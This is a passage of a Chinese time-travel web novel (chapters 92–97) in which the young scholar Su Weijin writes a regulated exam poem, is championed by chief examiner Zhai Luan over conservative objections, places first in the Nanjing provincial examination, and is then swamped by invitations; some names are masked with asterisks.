无论如何,一颗耀眼的新星,
已在这江南贡院的至公堂内,
于无声处,迸发出了震惊主考的光芒。
九天鏖战,尚未结束,但胜负的天平,已悄然倾斜。
第92章 诗试融千古,妙笔绽奇芳
九天七夜的号舍煎熬,已至最后关头。
空气中弥漫的不再仅是墨臭与汗酸,
更添了几分绝望的馁气与濒临崩溃的焦躁。
多数考生早已形销骨立,
眼神涣散,有人对着试卷发呆,
有人徒劳地舔着干裂的嘴唇,
更有人伏在案上,肩膀微微抽动,
不知是睡是哭。
苏惟瑾亦感疲惫如潮水般阵阵袭来,
超频大脑虽能维持高效运转,
但对身体的消耗却是实打实的。
他强打精神,用湿布巾擦了把脸,
清凉感暂驱倦意。
最后一场,诗赋,虽是末节,
却往往是决定名次高低的关键,
尤其在才子云集的南闱,
一手好诗赋足以让考官印象深刻。
最后一场试卷发下,诗题揭开:
“赋得‘江清月近人’,得‘人’字五言八韵。”
试帖诗!题目出自孟浩然《宿建德江》,
限韵,限字,严格遵循格律。
这是戴着镣铐的舞蹈,
最考验诗人的基本功和灵性。
周围顿时响起一片压抑的哀叹和抽气声。
此题看似寻常,欲要出彩却极难。
“江清月近人”意境幽静孤远,
极易写得空泛或落入前人窠臼,
难以展现才情。
限韵“人”字,
更是增加了难度。
苏惟瑾闭目凝神。
超频大脑瞬间启动,
数据库中无数关于“江”、“月”、“人”的诗词意象、
名句、修辞手法如同浩瀚星海被点亮、检索、比对。
直接抄?
绝不可行。
且不说道德风险,
单是时代风格差异便极易露馅。
但他的优势在于,
拥有整个中华诗词史的精华作为养料,
能站在巨人的肩膀上,
进行最完美的融合与再创造!
他决定不追求李白的狂放,
不模仿杜甫的沉郁,而是取其精华,
营造一种空灵超逸又蕴含深情的意境。
王维的禅意画境、李商隐的朦胧瑰丽、
甚至清代纳兰性德的清婉深情,
皆可化为己用。
构思片刻,他眼中光华内蕴,提笔蘸墨,手腕沉稳落下。
首联破题:“素魄临江静,澄波映月真。”
以“素魄”代月,“澄波”代江,
用词清雅,直接勾勒出江月交辉、
天地澄澈的静谧画面,
紧扣题面,平稳起势。
颔联承续:“光摇金破碎,影动玉嶙峋。”
巧妙运用“金破碎”形容月光在微波上的闪烁。
“玉嶙峋”描绘月影随水波晃动的棱角感,
化静为动,文辞瑰丽,极具视觉冲击力,显露出不凡的炼字功力。
颈联转入抒情,乃全诗点睛之笔:
“共此**境,悠然物外人。”
“**”喻指皎洁明月与清澈江水共同营造的纯净世界,
而“物外人”则巧妙点出“人”字韵脚,
更将意境拔高,超脱尘世纷扰,
与天地精神相往来。
此联隐隐化用了王维“行到水穷处,
坐看云起时”的禅意,
又带有一丝李白“永结无情游,
相期邈云汉”的飘逸。
腹联进一步深化:
“沙明栖鹭稳,岸阔系舟频。”
视线由远及近,由虚入实,
描绘江边沙明鹭宿、
岸阔舟系的细节,
以动衬静,更显夜之宁谧,
生活气息悄然融入,
却不破坏整体空灵之境。
尾联收束:“莫叹知音少,清辉自可亲。”
呼应孟浩然原诗“野旷天低树,江清月近人”的孤寂感,
却反其意而用之:
不必叹息知音难觅,
此夜清辉遍洒,明月可亲,
自然便是最大的知己。
情感由淡淡的孤寂转为豁达与自适,
境界全出,且再次紧扣“人”字韵脚,
浑然天成。
全诗五言八韵,四十字,字字合律,
对仗工整,起承转合流畅自然。
意境上,既保留了原诗的清幽,
又注入了更为超脱旷达的情怀;
辞藻上,清丽而不浮艳,
精工而不雕琢;
格律上,无懈可击。
更难得的是,诗中融汇了多个时代的诗词美学精髓,
却不着痕迹,宛若天成,
完全符合明代中期复古拟唐的诗风要求,甚至犹有过之。
写完,苏惟瑾自己默诵一遍,
只觉齿颊留香,意境悠远。
虽非直接抄录,但其融合创新之功,
放在这个时代,堪称惊艳。
他小心吹干墨迹,将诗稿誊抄于正卷之上。<
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br>此时,远处传来梆子声,预示着考试时间即将结束。
号舍内外,各种声响陡然增多:
有考生慌乱的最后一笔,
有如释重负的长叹,
有收拾考篮的窸窣声,
更有衙役开始穿行巷道的脚步声。
苏惟瑾静**在狭小的号舍内,
看着面前三场考试的心血结晶,心中一片平静。
九天鏖战,殚精竭虑,
他已将自身所学、所思、所能发挥到了极致。
超频大脑缓缓降低运转频率,
强烈的疲惫感转瞬间化作潮水般涌来,
但他嘴角却带着一丝淡淡的笑意。
经义藏锋,策问惊雷,诗赋风流。
他已交出了一份远超乎这个时代想象的答卷。
剩下的,便是等待。
等待那决定命运的放榜之日。
试卷被收走,送入弥封誊录流程。
当那份“地字叁佰贰拾柒号”的诗赋卷被同考官看到时,
又是一阵低低的惊叹。
“好诗!此诗格高韵远,不落俗套!”
“颔联‘光摇金破碎,影动玉嶙峋’,状物之工,堪称绝妙!”
“尾联翻案,豁达通透,更胜原作一筹!”
“此子前场经义策问已令人击节,
不想诗赋亦如此精工!真全才也!”
诗卷很快被送至翟銮案头。
翟銮刚从那篇石破天惊的漕运策论中缓过神,
又见这首超凡脱俗的试帖诗,
饶是他见多识广,也不禁再次动容。
他细细品读着“共此**境,悠然物外人”、
“莫叹知音少,清辉自可亲”等句,
手指轻轻敲击桌面,眼中满是欣赏。
“经世之才,兼有林下之风……难得,实在难得!”
他低声赞叹,再次确认了那份“经魁”的评定。
至此,苏惟瑾的三场试卷,
皆以碾压般的优势,
征服了最为苛刻的阅卷官。
贡院大门缓缓开启,
刺眼的阳光涌入。
无数形容枯槁的士子踉跄着走出,
如同经历了一场浩劫。
苏惟瑾在苏惟山和苏惟虎的搀扶下,
走出号舍,沐浴在阳光之中,
微微眯起了眼。
金陵秋色正浓,而他的前途,
似乎也正铺展出一片绚烂的光明。
只待金榜题名时。
第93章 龙门终跃出,静待金榜名
嘉靖元年八月十七,巳时初刻。
当第三声标示着乡试终结的炮响,
沉闷而威严地滚过江南贡院上空时,
近万间号舍内,近万名考生几乎在同一时刻,
发出了各种各样、含义复杂的长吁短叹。
那声音,像是被压抑了太久终于得以释放的呻吟,
又像是耗尽所有力气后的虚脱哀鸣,
更夹杂着无尽的期待、恐惧、茫然与解脱。
九天八夜!
在这逼仄、污浊、气味难以言喻的“号笼”里,
与经史子集搏斗,与自身极限抗衡,
与莫测的前途命运博弈。
每一刻都是煎熬,
每一笔都重若千钧。
此刻,终于结束了。
死一般的寂静只维持了极短的一瞬,
旋即被更大的喧嚣所取代。
收卷胥吏冷漠的催促声、
考生们收拾考篮的碰撞声、
因久坐而酸软的骨骼发出的咔哒声、
以及再也压抑不住的咳嗽声、
啜泣声、甚至是抑制不住的嚎啕声,
瞬间将庞大的贡院填满。
苏惟瑾缓缓放下笔,
指尖因长时间紧握而微微颤抖。
他闭上眼,超频大脑缓缓从极致运转的状态中退出,
如同高温锻打的钢铁渐渐冷却,
一股难以言喻的、
深入骨髓的疲惫感转瞬间化作潮水般席卷而来,
几乎要将他淹没。
但他强行撑住了。
深吸了一口号舍内那浑浊不堪的空气
——此刻竟也觉得不那么难以忍受了。
他仔细地将最后一份试卷检查一遍,
确认无误,才看着它被胥吏面无表情地收走,
汇入那决定无数人命运的试卷洪流之中。
然后,他开始缓慢地、有条不紊地收拾东西。
将毛笔一支支洗净、擦干、放入笔帘;
将砚台中的残墨倒掉;
将剩余的干粮、薄荷膏收好。
每一个动作都做得极其认真,
仿佛是一种仪式,
用以平复那激荡过后略显空茫的心绪。
他对自己的发挥有绝对的信心。
经义的深邃,策论的锋芒,
诗赋的超拔,三场文章,
皆已臻至他目前能力的顶峰,
甚至超水平发挥。
超频大脑就是他最强大的后盾,
确保了他的文章在学术深度、
思想高度和形式规范上,
都达到了一个令人惊叹的水平。
信心归信心,但科举之事,终究存在变数。
主考官的偏好、同一批试卷的整体水平、
乃至某些不可言说的场外因素……
这些念头只是一闪而过,
便被他强行压下。
事已至此,多想无益。
“哐当!”隔壁号舍传来一声巨响,
似乎是谁瘫软倒地,
紧接着是衙役的呵斥和拖拽声。
“哈哈哈……我写完了!
我写完了!我一定中了!”
另一个方向,传来嘶哑的、近乎癫狂的笑声,很快又变成了呜咽。
更多的,是沉默。
死一样的沉默。
许多人只是呆呆地坐在号舍里,
眼神空洞,宛如魂魄早已随着交上去的试卷一同被抽走,
只剩下一具疲惫不堪的皮囊。
贡院的大门再次缓缓打开,
明亮得甚至有些刺眼的阳光涌入这条幽深的“巷道”。
胥吏们开始高声吆喝,催促考生离场。
苏惟瑾背起轻了许多的考篮,
一步步走出这间囚禁了他九天的狭小空间。
双腿如同灌了铅,
踩在青石板上感觉有些虚浮。
阳光照在脸上,暖洋洋的,
却让他有些眩晕,忍不住抬手遮了一下。
走出“地”字区域,
汇入庞大的人流。
眼前的景象堪称震撼。
方才在号舍内听到的种种声音,
此刻化为了鲜活甚至惨烈的众生相:
有人一出号舍门便直接瘫倒在地,
被早已等候在外的家人仆役哭着抬走;
有人状若疯癫,手舞足蹈,
反复喊着“我必中了!我必中了!”,
引得旁人纷纷侧目,目光复杂;
有人则面色灰败,如丧考妣,
走路踉踉跄跄,仿佛随时会倒下;
更有那白发苍苍的老者,
被同样年迈的老仆搀扶着,
老泪纵横,喃喃自语:
“又一趟……又一趟啊……”
其状凄然,令人鼻酸。
当然,也不乏如苏惟瑾这般,
虽疲惫却依旧维持着镇定,
眼神中藏着期待与自信的考生。
他们彼此相遇,目光交错间,
或有淡淡的欣赏,或有隐隐的较量。
人流缓缓向大门移动。
就在即将走出最后一道门阙时,
苏惟瑾看到了徐明轩。
徐明轩的脸色比进去时更加苍白,
眼下有着浓重的青黑,嘴唇干裂。
但他的背脊依旧挺得笔直,步伐虽慢却稳。
他也看到了苏惟瑾,两人的目光在空中相遇。
没有言语。
徐明轩的目光在苏惟瑾脸上停留了一瞬,
似乎想从他脸上看出些什么。
苏惟瑾神情平静,
甚至对他微微弯了一下嘴角,点了点头。
徐明轩怔了一下,
随即也极其轻微地颔首回应。
那双向来冷峻的眼眸中,
似乎掠过一丝极淡的、
难以言喻的情绪,
似是认可,又似是挑战。
一切尽在这无声的交流之中。
他们都清楚,走出这个大门,
只是形式上的结束。
真正的较量,此刻正在那至公堂内,
在一众阅卷官的手中,悄然进行着。
终于,踏出了江南贡院那高大的门槛!
刹那间,巨大的声浪如同海啸般扑面而来!
“儿啊!我的儿啊!在这里!”
“相公!这边!快喝口水!”
“怎么样?考得如何?”
“让一让!让一让!大夫!快叫大夫!”
贡院外人山人海,比入场时更加拥挤不堪。
无数翘首以盼的家人、
仆役、书童、甚至还有闻讯而来的媒婆、投机者……
将街道堵得水泄不通。
呼喊声、哭泣声、询问声、安慰声、商贩的叫卖声……
混杂成一曲喧嚣无比的人间悲喜剧。
第94章 至公堂激辩,伯乐识骐骥
江南贡院至公堂内,烛火通明,夜以继日。
空气里弥漫着浓重的墨香、
烟味以及一种无形却压得人喘不过气的紧张。
十余位阅卷官埋首于浩如烟海的试卷之中,
朱笔勾画,低声讨论,时而叹息,时而颔首。
这些经过誊录、糊名的朱卷,
承载着近万士子的希冀,
也考验着考官们的眼力与心志。
经过数轮筛选,
优等卷被逐一选出,
送至主考官翟銮及几位核心副主考案前,
进行最后的裁定与排名。
能走到这一步的试卷,
无一不是文理通达、才思敏捷之作,
优中选优,竞争愈发激烈。
很快,“地字叁佰贰拾柒号”卷的三场文章,
便被放在了众考官面前。
首场经义文章《士志于道》,
立刻赢得满堂彩。
“妙啊!此子对‘耻’字与‘志’字的辨析,鞭辟入里,发前人所未发!”
“考据功夫扎实,却又不止于考据,能上升至‘辨志’之高度,难得!”
“破题巧妙,立论正大,阐述精深,此文当为经义魁首!”
一位须发花白的老翰林抚须赞叹,
毫不吝啬赞美之词。
众人纷纷传阅,皆是点头称善。
此文之佳,在于其学术深度与思辨高度,
令人无话可说,一致同意列为“超等”。
然而,当第二场策论《漕运弊政与革新刍议》被展开时,
至公堂内的和谐气氛瞬间被打破。
初时,几位考官还为文章开篇那犀利精准的弊政剖析而频频颔首。
“嗯,能看出‘制度、技术、民生’三层弊病,眼光毒辣!”
“‘三成损耗论’虽系估算,却并非危言耸听,切中肯綮!”
但读到后面的“漕粮折色”、“官督商运”、“标准化管理”三条具体建议时,争议陡起!
一位面容古板、出身江南士族的副主考赵大人首先发难,眉头紧锁:
“荒谬!漕运乃国之命脉,岂能假手商贾?
‘官督商运’?
此与汉代与民争利之桑弘羊何异?
简直胡闹!”
他将试卷往案上一拍,语气激烈。
另一位保守派的钱考官亦附和道:
“赵大人所言极是!
还有这‘折色’之议,
看似减轻民负,实则动摇根本!
若皆以银折粮,京师百万军民之食从何而来?
一旦粮价波动,或遇灾年,
岂非酿成大祸?
此议太过激进,有违祖制,断不可取!”
“还有这所谓‘标准化’、‘三联单’,”又一人质疑道。
“看似条理分明,实则纸上谈兵!
漕运涉及千百衙门、数十万军民,
情弊复杂,岂是区区几条章程、几张单据所能约束?
此子所言数据、模型,看似有理,
实则来源不明,恐是臆测!
文章虽花团锦簇,却华而不实!”
保守派们群起而攻之,
认为此文观点危险,
背离圣人之教,过于理想化。
他们习惯了四平八稳的道德文章,
对于这种带有强烈实务精神和改革倾向、
甚至隐约运用了“数据思维”的策论,
本能地感到排斥和不安。
但也有支持者。
那位户部出身的同考官忍不住反驳:
“诸位大人!下官以为不然!
此文绝非空谈!
其所指弊端,句句属实!
所提三策,虽大胆,
却并非全无道理!‘折色’可灵活变通,
‘官督商运’亦非全然放手,
重在‘督’字!
至于数据模型,纵是估算,亦能说明问题之大!
我辈读圣贤书,
难道就不应思虑如何解决这些实实在在的国计民生之困吗?”
“李大人此言差矣!
祖宗之法,岂可轻变?”
“非为轻变,乃为补弊!”
“商贾重利,必生奸猾!”
“严加监管,未尝不可!”
至公堂内顿时争论不休,
面红耳赤,几乎要吵将起来。
双方各执一词,互不相让。
焦点完全集中在了这篇惊世骇俗的策论上。
一直端坐主位、沉默不语的翟銮,
终于缓缓开口。
他声音不高,却自带威严,
瞬间压下了所有争论。
“诸位,”
他目光扫过众人,
最终落在那份引起轩然大波的试卷上。
“争论的焦点,在于此策是‘空想’还是‘实策’,
是‘悖逆’还是‘革新’,
是‘危险’还是‘必要’,是么?”
众人安静下来,望向主考。
翟銮拿起那份策论,
眼中闪烁着复杂的光芒:
“本官初看此文,亦是心惊。
然细读之下,却觉其字字句句,
皆戳中我朝漕运之痛处!
其所言‘三弊’,可谓入木三分!
诸位扪心自问,尔等为官多年,
可曾见过将漕运之弊剖析得如此透彻的文章?”
他顿了顿,语气加重:
“至于其所提三策,
确实大胆,甚至有些……理想化。
但诸君请看,其每一条建议,
是否都指向了解决那‘三弊’?
‘折色’是否可缓解民困、减少运输环节?
‘官督商运’是否可能提升效率、
减少胥吏盘剥?
‘标准化’是否有助于明晰责任、
降低损耗?”
他目光如炬,
看向那位反对最激烈的赵副主考:
“赵大人担心商贾奸猾,
然盐法亦召商开中,何以能行?
关键在于‘官督’是否得力!
担心‘折色’误国,
则可先于局部试点,
循序渐进,而非一概否决!”
他又看向其他人:
“我等读圣贤书,所求为何?
是墨守成规,抱残守缺?
还是通经致用,匡时济世?
此文或许稚嫩,或许细节有待商榷,
但其展现出的问题意识、求解精神、以及那种……
那种试图以新思维打破僵局的锐气,
正是我朝如今所稀缺的!”
翟銮的声音陡然提高,
带着一种不容置疑的决断:
“此文绝非华而不实!
其文采或许为观点服务,
但其核心,是实实在在的经世之才!
其价值,不在于它是否立刻能付诸实施,
而在于它提供了一种全新的、
系统的、极具启发性的思路!
第95章 金榜悬日月,解元惊金陵
嘉靖元年九月廿七,寅时末,天色未明,秋露深重。
南京贡院那面高大的照壁之前,
却早已是万头攒动,水泄不通。
火把、灯笼将周遭映得亮如白昼,
无数双眼睛死死盯着那面尚且空无一物、
却即将决定无数人命运的墙壁,
空气中弥漫着一种近乎凝固的、
混合着渴望、恐惧、
焦灼的复杂气息,
压得人几乎喘不过气。
放榜之日到了。
苏惟瑾没有挤在最前面。
他在稍远处一家早已人满为患的茶楼二楼,
临窗而立,苏惟山和苏惟虎如同两尊门神护在他身后,
小奇则紧张得扒着窗棂,
半个身子都探了出去,
眼睛瞪得溜圆,生怕错过一个字。
**轩也在不远处另一间茶社的窗前,
面色依旧苍白,但背脊挺得笔直,
手指无意识地紧握着窗框。
更远处,是黑压压望不到边的人海。
寒门学子、富家公子、仆役家丁、
看热闹的市民、
甚至还有闻风而来的媒婆、
投机商人……三教九流,
鱼龙混杂,皆翘首以盼。
“来了来了!”
不知谁嘶哑地喊了一声,
人群瞬间如同炸开的油锅,
疯狂向前涌去!
一队兵丁艰难地维持着秩序,
高声呵斥着。
几名礼房书吏捧着一个巨大的、
用红缎覆盖的木盘,
神色肃穆地走到照壁下。
为首的官员清了清嗓子,
人群霎时安静下来,
只剩下粗重的呼吸声和火把燃烧的噼啪声。
那官员展开一张黄榜,
深吸一口气,运足中气,
开始从后往前,唱名!
“南直隶嘉靖二年乡试第一百三十五名——扬州府通州刘守仁!”
……
“第九十八名——苏州府吴县张文远!”……
每念出一个名字,
人群中便爆发出一阵或狂喜或失落的骚动。
中被者狂呼乱叫,涕泪交加;
落榜者面如死灰,黯然神伤。
名次越往前,气氛越是紧张。
“第三十二名——应天府上元县李慕白!”……
“第十九名——松江府华亭县钱伯钧!”……
**轩的名字在第十一名被念出。
他听到自己名字时,
紧握窗框的手指微微一松,
轻轻吁出了一口气,
眼中闪过一抹遗憾,
但很快恢复平静,
目光却不由自主地投向对面窗前的苏惟瑾。
苏惟瑾面色平静,
但唯有他自己知道,
胸腔里的心脏正以前所未有的力度撞击着肋骨。
超频大脑此刻也仿佛减慢了速度,
周遭的一切喧嚣变得有些遥远,
只有那唱名声清晰无比。
前十了!
人群几乎屏住了呼吸。
“第十名——安庆府桐城县方达州!”……
“第五名——镇江府丹徒县周文斌!”……
“第三名——应天府江宁县孙修理!”
……“第二名——”唱名官故意拖长了声音,
吊足了所有人的胃口,
目光扫过全场,最终高声宣布:
“苏州府昆山县——**轩!”
哗——!
人群爆发出巨大的惊叹和议论声!
**轩!
江南有名的才子,竟只得第二?!
那解元是谁?
谁能压过**轩?!
**轩本人也是猛地一怔,
眼中掠过一丝难以置信,
随即化为深深的震撼与探究,
再次猛地看向苏惟瑾的方向。
全场目光仿佛有了默契般,
在剩余未中的人群中疯狂扫视,
猜测着那最后的、
至高无上的名字属于谁。
唱名官停顿了片刻,
似乎也在平复情绪,
然后用尽全身力气,
声震四野地吼出了那个注定要震动江南的名字:
“南直隶嘉靖二年乡试第一名解元——”
“淮安府沭阳县——苏惟瑾!!”
静!
死一般的寂静维持了足足两三息时间!
仿佛所有人都被这个极其陌生、
又带着北方质朴气息的地名和人名给砸懵了!
沭阳?
淮安府那个小地方?
苏惟瑾?
这是谁?
从未听过!
解元?!
力压**轩、
压过所有江南才子的解元,
竟然是他?!
下一刻,巨大的声浪如同山崩海啸般猛然爆发开来!
“谁?!苏惟瑾?!”
“沭阳苏惟瑾?是哪个?”
“竟不是江南才子?!”
“爆冷了!天大的冷门!”
“快!快去查!这苏惟瑾是何方神圣?!”
惊呼声、议论声、质疑声、打探声……
汇成一片沸腾的海洋!
小奇先是呆若木鸡,
随即猛地发出一声尖叫,
眼泪鼻涕瞬间狂涌而出,
转身一把抱住苏惟瑾的腿,
语无伦次地哭喊:
“少爷!中了!
解元!是解元啊!
第一!您是第一名!!”
他激动得几乎要晕厥过去。
苏惟山和苏惟虎两大汉子,
此刻也激动得满脸通红,
拳头紧握,虎目含泪,
互相狠狠捶了对方一拳,
然后对着苏惟瑾,重重抱拳,声音哽咽:
“惟瑾兄弟!
不!解元老爷!恭喜!!”
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他们不懂文章好坏,
但他们知道“解元”是天大的荣耀!
苏惟瑾站在原地,
身体几不可察地微微晃了一下。
一直紧绷的心弦骤然松弛,
巨大的喜悦和成就感如同暖流般冲刷过四肢百骸。
纵有超频大脑,纵有绝对自信,
在这尘埃落定的一刻,
那种跨越阶级、登顶南闱的狂喜,
依旧难以自抑。
但他很快控制住了情绪。
超频大脑迅速将澎湃的情感压下,
恢复冷静。
他深吸一口气,
脸上露出一丝淡淡的、
却无比明亮的笑容。
他扶起小奇,对苏惟山兄弟点了点头。
“听到了。”
他的声音平静,
却带着一种毋庸置疑的力量。
“走吧,我们回去。”
这只是一个开始。
乡试解元,不过是拿到了通往更大舞台的门票。
未来的路,更长,更艰险。
然而,他平静的反应,
在这片沸腾喧嚣中,
反而显得格外醒目。
无数道目光聚焦在他身上,
惊讶、好奇、羡慕、嫉妒……不一而足。
**轩远远看着他,
看着他那份与年龄不符的镇定,
心中最后一丝不甘也化为了复杂的叹服。
他整了整衣冠,隔着喧嚣的人群,
对着苏惟瑾的方向,
郑重地拱手,行了一礼。
苏惟瑾似有所觉,
回望过去,见到**轩的动作,
也微微一笑,拱手还礼。
英雄相惜,尽在不言中。
此时,早有那腿脚伶俐、
专靠报喜讨赏为生的“报子”,
已经打听到了新科解元的落脚处和大致模样,
赛似猎犬般疯狂地冲出人群,
一边跑一边扯着嗓子大喊:
“捷报!
捷报淮安府沭阳县苏惟瑾苏老爷高中嘉靖二年南直隶乡试第一名解元!
金銮殿上面圣君!”
“恭喜苏解元!贺喜苏解元!”
报喜的锣声、吆喝声迅速响彻金陵街头,
向着悦来客栈的方向一路蔓延而去。
苏惟瑾高中解元的消息,
以惊人的速度传遍全城。
从前寂寂无名的“沭阳苏惟瑾”,
一夜之间,名动金陵!
寒门子弟,年仅十六,力压群雄,勇夺解元!
这本身,就是一个足以引发无数人津津乐道的传奇。
苏惟瑾在族兄和书童的护卫下,
艰难地挤出人群。
他所过之处,
人群自动分开一条道路,
投来各种复杂的目光。
新的征程,已然开启。
而他,已然站在了一个崭新的、更高的起点之上。
第96章 拜谒座师门,清流寄厚望
解元的热浪,席卷金陵三日未歇。
悦来客栈的门槛几乎被道贺的人群踏破,
苏惟瑾的名字如同插上了翅膀,
飞入南京城的每一个角落,
从秦淮河畔的画舫歌楼,
到勋贵云集的乌衣巷口,
再到市井街坊的茶肆酒铺,
无人不在谈论这匹横空出世、
力压江南才子的北方黑马。
寒门,十六岁,解元。
每一个词都足以刺激着人们的神经,
组合在一起,便成了一个活生生的传奇。
羡慕者有之,嫉妒者有之,好奇探究者更是数不胜数。
然而,喧嚣之外,
科举之后的一项重要礼仪
——新科举人拜见主考官“认座师”,也如期而至。
这不仅是礼制,更是官场人脉编织的起点。
座师与门生,一荣俱荣,一损俱损,
乃是明代官场上最为牢固的关系纽带之一。
这一日,天高云淡,秋风送爽。
苏惟瑾换上了一身新裁的举人襕衫,
头戴方巾,虽依旧年轻面嫩,
但连日来的历练与解元光环加身,
使他眉宇间那份沉稳气度愈发凸显,
行走间自有一股从容不迫的风范。
他在苏惟山二人的陪同下,
前往翟銮下榻的官邸。
翟銮身为本次南闱主考,
暂居于南京吏部辖下的一处清雅官舍。
此处虽无豪门巨邸的奢华,
却自有一股肃穆清贵的官气。
门庭若市,车马盈门,
前来拜谒的新科举人们络绎不绝,
个个脸上洋溢着激动与恭敬。
苏惟瑾递上名帖,
门房一见“解元苏惟瑾”五字,
不敢怠慢,立刻躬身引他入内。
穿过几重院落,
来到一处花木扶疏的静室门外。
“苏解元请稍候,
我家大人正在见客。”
门房低声道。
苏惟瑾颔首,静立廊下,
目光平静地打量着庭院中的一株老桂,花开正盛,香气袭人。
他能感受到周围其他等候举人投来的复杂目光
——好奇、打量、甚至一丝不易察觉的较劲。
他只是微微颔首致意,并不多言。
不多时,前一位举人满面红光地退出。
门房示意苏惟瑾可以进去了。
他整了整衣冠,深吸一口气,迈步入内。
室内陈设简朴,却处处透着文雅气息。
四壁书架环立,典籍琳琅满目。
翟銮并未身着官服,
只穿一件藏青色直裰,
正坐在窗边的明式官帽椅上品茶,
见苏惟瑾进来,放下茶盏,
目光温和却带着审视地落在他身上。
“学生苏惟瑾,拜见座师大人。”
苏惟瑾上前几步,依足礼数,
撩袍端带,恭恭敬敬地行了一个大礼。
态度谦逊,却不显谄媚。
翟銮并未立刻让他起身,
而是细细打量了他片刻。
少年人身姿挺拔,面容清俊,
眼神清澈而沉稳,行礼的姿态一丝不苟,
全然没有骤得大名后的轻狂之态,
心中先自点头。
“起来吧,看座。”
翟銮声音平和。
“谢座师。”
苏惟瑾这才起身,
在下首一张绣墩上欠身坐了半个屁股,腰背依旧挺直。
胥吏奉上香茗。
翟銮并未过多寒暄,
略问了几句苏惟瑾的籍贯、
师承等基本情况,
苏惟瑾一一恭敬作答,言简意赅。
很快,翟銮便将话题引向了正题,
他拿起手边一份显然是抄录的文稿(正是苏惟瑾的漕运策论),
目光变得锐利起来:
“玉衡,你这篇策论,老夫反复看了数遍。
其中观点,可谓石破天惊。
当日阅卷,争议不小啊。”
苏惟瑾心下一凛,
知道真正的考较来了,忙道:
“学生年轻识浅,妄议国政,
言辞或有孟浪之处,
还请座师教诲。”
翟銮摆摆手:
“非是孟浪。
是眼光太毒,胆子太大!”
他语气中带着毫不掩饰的赞赏,
“‘三弊’之论,直指要害;
‘三策’之议,更是发人深省。
尤其是这‘官督商运’与‘折色’之法,
虽看似惊世骇俗,细思之下,却并非全无道理。
你能想到这些,并能自圆其说,
逻辑缜密,远超同龄之人,
甚至许多朝堂老吏,
亦未必有你这般见识。”
他顿了顿,话锋微转,语气变得凝重:
“然则,你可知为何争议如此之大?
又可知,若此策真付诸朝议,
将面临何等阻力?”
苏惟瑾沉吟片刻,谨慎答道:
“学生略知一二。
革新之举,必触犯旧利。
漕运一事,牵涉运河沿岸无数官吏、军卫、
乃至依靠漕运为生的豪强巨室,
利益盘根错节。
学生之议,无异于断人财路,
毁人根基,阻力自然巨大。
且‘商运’、‘折色’关乎国本,
稍有不慎,后果不堪设想,
诸位大人谨慎,亦是理所应当。”
翟銮眼中欣赏之色更浓,
此子不仅才高,心思竟也如此通透!
他叹了口气:
“你能想到这一层,殊为难得。
如今朝堂……唉,
守成者众,求变者寡。
陛下虽有锐意,
然……牵绊甚多。”
他话中透出几分难以明言的忧虑和对现状的无奈。
“你那句‘以利导之,以规制之’,说得很好。”
翟銮重新看向苏惟瑾,目光灼灼。
“为国取士,非为寻章摘句之徒,
乃为求经世致用之才!
老夫力排众议,取你为解元,
看重的并非只是你的文采,
更是你这份洞察时弊的锐气、
勇于任事的胆魄、以及这份……
这份试图以新法解旧题的心思!”
他声音不高,却字字千钧,
带着一种沉重的期许:
第97章 名动金陵,邀约如雪片
翟銮官舍外那株老桂的香气,
似乎还萦绕在苏惟瑾的衣袂间,
可他人刚回到悦来客栈,
便被眼前的景象惊得顿住了脚步。
客栈门口竟是车马簇簇,
几个穿着体面的家丁模样的人正与一脸为难的客栈掌柜交涉。
门内大堂更是坐满了形形色色的人物,
或锦衣华服,或文士长衫,
见苏惟瑾回来,
目光“唰”地一下全聚焦过来,
似如饿狼见了鲜肉,
绿油油地放着光。
“苏解元回来了!”
不知谁喊了一嗓子,
原本还算克制的场面瞬间沸腾。
众人一拥而上,请柬、名帖、
礼单化似雪片般递到眼前,
伴随着七嘴八舌的邀请:
“苏解元,鄙主人乃应天府李通判,
特设薄宴,恭请解元公赏光……”
“在下江宁周氏家主,
族中子弟久仰解元大名,
盼能当面请教经义……”
“苏相公,敝东乃金陵文社社长,
三日后于秦淮河畔有文会,
群贤毕至,万望相公拨冗……”
“寒舍藏有前朝孤本数册,
闻解元公博学,特请品鉴……”
苏惟瑾只觉得耳边嗡嗡作响,
眼前是无数张热情洋溢甚至带着谄媚的脸孔,
各种名帖请柬几乎要将他淹没。
他两世为人,也算见识过信息爆炸,
却头一回体验到这古代顶流“热搜”的物理冲击力。
“寒门解元”这四个字,
在金陵这座崇尚文风的留都,
爆发出了惊人的能量。
超频大脑瞬间启动,
快速过滤着信息:
通判,从六品,实权官员,需谨慎应对;
江宁周氏,地方大族,根基深厚,不宜得罪;
文社社长,清流声望,可结交但需分寸;
藏书邀请,看似风雅,实则多半是拉拢手段……
跟在身后的苏惟山和苏仲坤哪见过这等阵仗,
早就傻了眼,
手足无措地挡在苏惟瑾身前,
却被热情的人群挤得东倒西歪。
苏惟瑾深吸一口气,运足中气,朗声道:
“诸位!诸位雅意,苏某心领!感激不尽!”
他声音清越,带着一股不容置疑的镇定,
竟暂时压下了现场的嘈杂。
“然苏某侥幸中举,
实乃皇恩浩荡,座师提携,
岂敢因此狂妄自矜?
且会试在即,春闱迫近,
苏某才疏学浅,深感惶恐,
唯有闭门苦读,方不负圣贤之道,
不负座师之期许。
诸位厚爱,苏某铭记五内,
然诸多邀约,实在分身乏术,万望海涵!”
他团团一揖,态度谦恭,
理由充分——要备考,天大的理由。
众人闻言,热情稍减,
但递请柬的动作却未停。
谁都明白,这只是套话,
关键是要把帖子递到这位新科解元手中。
苏惟瑾对苏惟山二人使了个眼色。
两人这才反应过来,赶紧上前,
手忙脚乱地接过那些名帖请柬,
堆笑说着“多谢厚爱,容后回复”。
主仆三人几乎是杀出重围,
才狼狈地逃回楼上客房。
关上门,看着桌上那厚厚一摞各式各样的帖子,
苏惟山咂舌道:
“乖乖,这比咱们县太爷案头的公文还多!
瑾哥儿,你这下可是真成名人了!”
苏惟瑾摇摇头,苦笑:
“名人?
怕是成了块人人都想咬一口的肥肉。”
他走到窗边,推开窗,楼下竟还有人翘首以盼。
秋风拂面,带来楼下细微的议论声“看,那就是苏解元!”
“真年轻啊!”
“听说还是军户出身…”,
他轻轻吁了口气。
这就是名望,甜蜜的负担。
处理得好,是登天阶梯;
处理不好,便是万丈深渊。
超频大脑开始飞速运算,
筛选、分类、评估每一份邀约背后的政治意义、潜在风险和收益。
“应天府刘同知的帖子…”
苏惟瑾抽出一份制作尤为精良的请柬。
“同知是府衙佐贰官,实权人物,
且听闻与翟座师有旧,此宴恐需一往。”
“金陵赵家,累世官宦,
赵老爷子曾是南京礼部侍郎,
虽致仕,门生故旧遍布南直隶…
这份也得去。”
